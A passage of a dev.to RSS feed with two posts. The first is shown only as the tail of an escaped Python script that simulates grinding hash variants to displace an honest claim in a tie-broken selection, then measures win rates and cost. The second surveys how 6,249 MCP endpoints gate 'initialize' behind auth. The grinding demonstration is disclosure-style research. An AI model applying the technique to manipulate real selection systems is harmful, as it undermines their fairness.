                          &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;estimated_completion&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;advisory&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                          &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;offer&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;offer&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
                         &lt;span class="n"&gt;sort_keys&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;separators&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;RNG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Random&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20260928&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# A) construct a tied pair, watch the selection move
&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;claim&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3600&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;adv&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3599&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3601&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;959191865&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;634746160&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;claim&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adv&lt;/span&gt;&lt;span class="p"&gt;)[:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;honest retains&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nf"&gt;claim&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;variant displaces&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# B) the contest, measured
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;TRIALS&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4000&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4000&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4096&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
    &lt;span class="n"&gt;wins&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TRIALS&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;claim&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RNG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randrange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;best&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;claim&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RNG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randrange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;best&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;wins&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;N=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;wins&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;TRIALS&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;wins&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;TRIALS&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (theory &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# C) cost
&lt;/span&gt;&lt;span class="n"&gt;t0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;perf_counter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200_000&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nf"&gt;claim&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;rate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;200_000&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;perf_counter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;t0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;rate&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;,.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; variants/s -&amp;gt; 4,096-variant win ~&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;4096&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;rate&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; ms&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# D) dormancy: expected organic ties among 1,443 claims, second granularity
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;days&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;days&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;d window: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;comb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;days&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;86400&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; expected ties&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every number in this article comes from that script, unmodified, on a laptop. The first section's advisories deliberately include values where the honest claim retains and values where a variant displaces — the flip direction is decided by the hash draw, not by anything about the advisory itself (substance identical either way). The advisory values drawn throughout are all honest — nobody lies anywhere in the demo, which is the whole point of the attack: it is the version of winning that every integrity check you already run is happy to wave through.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Re: Anima — the 401-on-initialize problem, measured across 6,249 MCP endpoints</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Wed, 23 Sep 2026 00:39:48 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/re-anima-the-401-on-initialize-problem-measured-across-6249-mcp-endpoints-56a3</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/re-anima-the-401-on-initialize-problem-measured-across-6249-mcp-endpoints-56a3</guid>
      <description>&lt;p&gt;Anima's post &lt;a href="https://useanima.sh/blog/mcp-server-invisible-to-directories" rel="noopener noreferrer"&gt;"Your MCP Server Is Invisible to Directories"&lt;/a&gt; is the best first-person account of the 401-on-initialize problem published so far. Their MCP server required a Bearer token on every request (including &lt;code&gt;initialize&lt;/code&gt;), so every directory crawler got a 401 before it could list a single tool: Glama marked the connector &lt;em&gt;Unhealthy&lt;/em&gt; ("No tool schema history has been recorded yet"), Smithery burned 5m 12s waiting for an auth handshake that was never going to complete. The listing existed; the server was invisible anyway.&lt;/p&gt;

&lt;p&gt;We've been measuring that exact failure mode at registry scale. Numbers first (n = 6,249 unique HTTPS MCP endpoints, single snapshot 2026-09-18, credential-less client, receipts kept):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;state&lt;/th&gt;
&lt;th&gt;n&lt;/th&gt;
&lt;th&gt;%&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OPEN — credential-less &lt;code&gt;initialize&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; a served &lt;code&gt;tools&lt;/code&gt; array&lt;/td&gt;
&lt;td&gt;1,755&lt;/td&gt;
&lt;td&gt;28.1%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LATE-GATE — handshake + &lt;code&gt;tools/list&lt;/code&gt; open, &lt;code&gt;tools/call&lt;/code&gt; gated&lt;/td&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;0.4%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HARD-GATE — 401 on &lt;code&gt;initialize&lt;/code&gt; (invisible to every directory)&lt;/td&gt;
&lt;td&gt;1,865&lt;/td&gt;
&lt;td&gt;29.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RESPONDS_NOT_SERVING — HTTP 200, never serves a tools array&lt;/td&gt;
&lt;td&gt;703&lt;/td&gt;
&lt;td&gt;11.2%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;protocol mismatch / invalid / network errors&lt;/td&gt;
&lt;td&gt;2,005&lt;/td&gt;
&lt;td&gt;32.5%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Valid RFC 9728 protected-resource metadata was served by 32.5% of endpoints; 68.4% of gated endpoints are &lt;em&gt;gated but discoverable&lt;/em&gt; — a client that follows the &lt;code&gt;WWW-Authenticate&lt;/code&gt; pointer can still learn where to authenticate.&lt;/p&gt;

&lt;p&gt;Three findings that map directly onto Anima's story:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. The state Anima escaped is 29.8% of the registry.&lt;/strong&gt; 1,865 endpoints hard-gate on &lt;code&gt;initialize&lt;/code&gt;. Every one of them is invisible to every directory that indexes by opening a connection and listing tools: the listing exists, the tools never get recorded, search excludes the connector. Anima's Glama screenshot is what a third of the registry looks like from the outside.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. The fix Anima shipped is the rarest state in the registry.&lt;/strong&gt; Their anonymous allowlist (&lt;code&gt;initialize&lt;/code&gt;, &lt;code&gt;notifications/initialized&lt;/code&gt;, &lt;code&gt;ping&lt;/code&gt;, &lt;code&gt;tools/list&lt;/code&gt;, &lt;code&gt;prompts/list&lt;/code&gt;, &lt;code&gt;resources/list&lt;/code&gt; open; everything else — &lt;code&gt;tools/call&lt;/code&gt; included — still 401) is exactly what we classify as LATE-GATE: &lt;strong&gt;22 endpoints out of 6,249 (0.4%)&lt;/strong&gt;. When servers gate, they gate at &lt;code&gt;initialize&lt;/code&gt; 98.8% of the time. Almost nobody separates "tool discovery is public API-surface documentation" from "tool execution is authenticated" — the 22 that do are the pattern worth copying.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. The rate-limit trap compounds at directory scale.&lt;/strong&gt; Anima's second outage — anonymous sessions sharing the authenticated bucket (ten concurrent, keyed on the shared string &lt;code&gt;"anonymous"&lt;/code&gt;, 30-minute idle timeout, crawlers never sending &lt;code&gt;DELETE&lt;/code&gt;) — is not just a Glama problem. Multiple directories hitting the same endpoint compete for the same anonymous slots, so the endpoint looks flaky to all of them simultaneously. Their fix (a separate anonymous class: 250 concurrent / 2-minute idle) is the right shape. Our probe saw the residue of this pattern all over the registry: endpoints that pass one credential-less handshake and 429 the second.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The 68K context.&lt;/strong&gt; The write-ups describing this problem — Anima's included — come from a smaller-registry era. The MarketNow catalog now tracks &lt;strong&gt;68,387 servers / 132,736 skills across 7 sources&lt;/strong&gt; (official registry, npm, PyPI, GitHub, Smithery, crates.io, Docker), and the 401 problem didn't shrink as the registry grew — it scaled with it. While ~30% of endpoints are un-listable, every directory's tool counts are systematically undercounted, and the RFC 9728 pointer is the only discovery path that survives gating for the other two-thirds.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The dataset is public and live:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Aggregate distribution: &lt;a href="https://www.marketnow.site/api/auth-gate-distribution.json" rel="noopener noreferrer"&gt;https://www.marketnow.site/api/auth-gate-distribution.json&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Per-skill joinable index (6,165 skills): &lt;a href="https://www.marketnow.site/api/auth-gate-skills.json" rel="noopener noreferrer"&gt;https://www.marketnow.site/api/auth-gate-skills.json&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Method: single-shot JSON-RPC over streamable-HTTP, &lt;code&gt;initialize&lt;/code&gt; → &lt;code&gt;notifications/initialized&lt;/code&gt; → &lt;code&gt;tools/list&lt;/code&gt;, plus &lt;code&gt;GET /.well-known/oauth-protected-resource&lt;/code&gt; on each origin. An endpoint only counts as open if &lt;code&gt;tools/list&lt;/code&gt; returns an actual &lt;code&gt;tools&lt;/code&gt; array — HTTP 200 alone counts for nothing. That's the same lesson as Anima's closing line ("a green suite is not evidence that anyone else can see your server"): a handshake that succeeds and a &lt;code&gt;tools/list&lt;/code&gt; that returns tools are different facts. Endpoint URLs are published SHA-256-hashed, aggregate-first.&lt;/p&gt;

&lt;p&gt;If you run an MCP server: Anima's 30-second curl check is the right place to start. If you want the population-level numbers for a talk, post, or threat model: the JSON above is live, schema-versioned, and the per-skill index is joinable.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;(We build MarketNow — an MCP catalog with trust infrastructure. The auth-gate probe is the measurement layer; the trust side — credential verification, revocation checking, conformance vectors — is the product.)&lt;/em&gt;&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>ai</category>
      <category>security</category>
      <category>measurement</category>
    </item>
  </channel>
</rss>
